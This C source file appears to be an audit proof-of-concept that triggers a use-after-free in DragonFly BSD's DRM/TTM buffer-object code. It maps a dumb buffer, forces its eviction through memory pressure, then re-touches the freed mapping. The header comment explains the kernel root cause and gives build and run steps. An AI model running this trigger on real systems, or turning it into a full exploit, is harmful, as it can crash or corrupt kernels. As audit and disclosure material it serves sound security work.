DF-4587 / df4587.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 | /* * DF-4587 โ ttm_bo_release_mmap() drops an unbalanced vm_object reference on * every BO revocation (move/evict/swapout/dpm), terminating the BO's * OBJT_MGTDEVICE vm_object while the user mapping still references it. * * Trigger (needs radeon- or amdgpu-backed /dev/dri/cardX โ the only drivers * that set dev->drm_ttm_bdev on DragonFly): * * 1. create a 64 MiB dumb BO (lands in VRAM) * 2. MAP_DUMB -> fake offset, mmap() it, fault a page * -> ttm_bo_mmap_single -> cdev_pager_allocate: * the pager object's ONLY reference is the one handed to * vm_map_find (device_pager.c:136-164, vm_map.c:1614-1615). * 3. create many more large dumb BOs until VRAM pressure evicts the * mapped BO (VRAM->GTT move) * -> ttm_bo_handle_move_mem (ttm_bo.c:318-325) * -> ttm_bo_unmap_virtual_locked -> ttm_bo_release_mmap * -> vm_object_deallocate(vm_obj) with ref_count == 1 * -> vm_object_terminate -> dev_pager_dealloc -> ttm_bo_vm_dtor * -> ttm_bo_unref(&bo) ... BO kref dropped early, * vm_object freed under the LIVE map entry. * 4. touch the mapping again -> vm_fault on the freed vm_object (UAF) * (or munmap -> vm_object_deallocate on freed memory) * * On the audit QEMU guest (bochs VGA, no DRM device) this stops at open(). * * Build: cc -O2 -Wall -Wextra -o df4587 df4587.c * Run: ./df4587 /dev/dri/card0 */ #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> /* ---- minimal DragonFly drm UAPI (sys/dev/drm/include/uapi/drm/) ---- */ struct drm_version { uint64_t name_len; char *name; uint64_t date_len; char *date; uint64_t desc_len; char *desc; int32_t version_major, version_minor, version_patchlevel; }; #define DRM_IOCTL_BASE 'd' #define DRM_IOWR(nr, type) _IOWR(DRM_IOCTL_BASE, nr, type) struct drm_mode_create_dumb { uint32_t height, width, bpp, flags; uint32_t handle, pitch; uint64_t size; }; struct drm_mode_map_dumb { uint32_t handle, pad; uint64_t offset; }; struct drm_mode_destroy_dumb { uint32_t handle; }; #define DRM_IOCTL_VERSION DRM_IOWR(0x00, struct drm_version) #define DRM_IOCTL_MODE_CREATE_DUMB DRM_IOWR(0xB2, struct drm_mode_create_dumb) #define DRM_IOCTL_MODE_MAP_DUMB DRM_IOWR(0xB3, struct drm_mode_map_dumb) #define DRM_IOCTL_MODE_DESTROY_DUMB DRM_IOWR(0xB4, struct drm_mode_destroy_dumb) #define PAGE_SZ 4096UL static int create_dumb(int fd, uint64_t sz, uint32_t *handle) { struct drm_mode_create_dumb c; int r; memset(&c, 0, sizeof(c)); c.bpp = 32; c.width = 64; c.height = (uint32_t)(sz / (64 * 4)); if (c.height == 0) c.height = 1; r = ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &c); if (r == 0) *handle = c.handle; return r; } int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0"; struct drm_mode_map_dumb md; struct drm_version v; unsigned char *p; uint32_t h; uint64_t off; int fd, i; fd = open(dev, O_RDWR | O_CLOEXEC); if (fd < 0) { printf("GATE: open(%s) failed: %s (no DRM device โ " "TTM path absent on this guest)\n", dev, strerror(errno)); return 2; } memset(&v, 0, sizeof(v)); if (ioctl(fd, DRM_IOCTL_VERSION, &v) == 0) printf("drm fd open, version %d.%d (need radeon/amdgpu for TTM)\n", v.version_major, v.version_minor); /* 1. victim BO in VRAM */ if (create_dumb(fd, 64ULL << 20, &h) != 0) { printf("create_dumb victim: %s\n", strerror(errno)); return 1; } /* 2. map + fault */ memset(&md, 0, sizeof(md)); md.handle = h; if (ioctl(fd, DRM_IOCTL_MODE_MAP_DUMB, &md) != 0) { printf("map_dumb: %s\n", strerror(errno)); return 1; } off = md.offset; p = mmap(NULL, 64ULL << 20, PROT_READ | PROT_WRITE, MAP_SHARED, fd, off); if (p == MAP_FAILED) { printf("mmap: %s\n", strerror(errno)); return 1; } p[0] = 0x41; printf("victim BO mapped at %p, first fault done (object ref == 1, " "held by this map entry)\n", (void *)p); /* * 3. VRAM pressure: evict the mapped BO (VRAM -> GTT move runs * ttm_bo_release_mmap -> unbalanced vm_object_deallocate -> * premature vm_object_terminate under our live mapping). */ for (i = 0; i < 96; i++) { uint32_t j; if (create_dumb(fd, 64ULL << 20, &j) != 0) break; if (i % 8 == 0) printf("pressure BO %d\n", i); } printf("pressure done (%d BOs); mapped BO has been moved/evicted\n", i); /* * 4. re-touch: on radeon/amdgpu hardware this re-faults through the * FREED vm_object (or destroys it in munmap) โ the UAF. */ p[0] = 0x42; p[PAGE_SZ] = 0x43; printf("retouch done: %d %d (on TTM hardware expect panic/UAF here)\n", p[0], p[PAGE_SZ]); if (munmap(p, 64ULL << 20) != 0) printf("munmap: %s\n", strerror(errno)); else printf("munmap done (on TTM hardware: deallocate of freed " "object)\n"); close(fd); printf("SURVIVED (no TTM hardware engaged โ see VERDICT.md)\n"); return 0; } |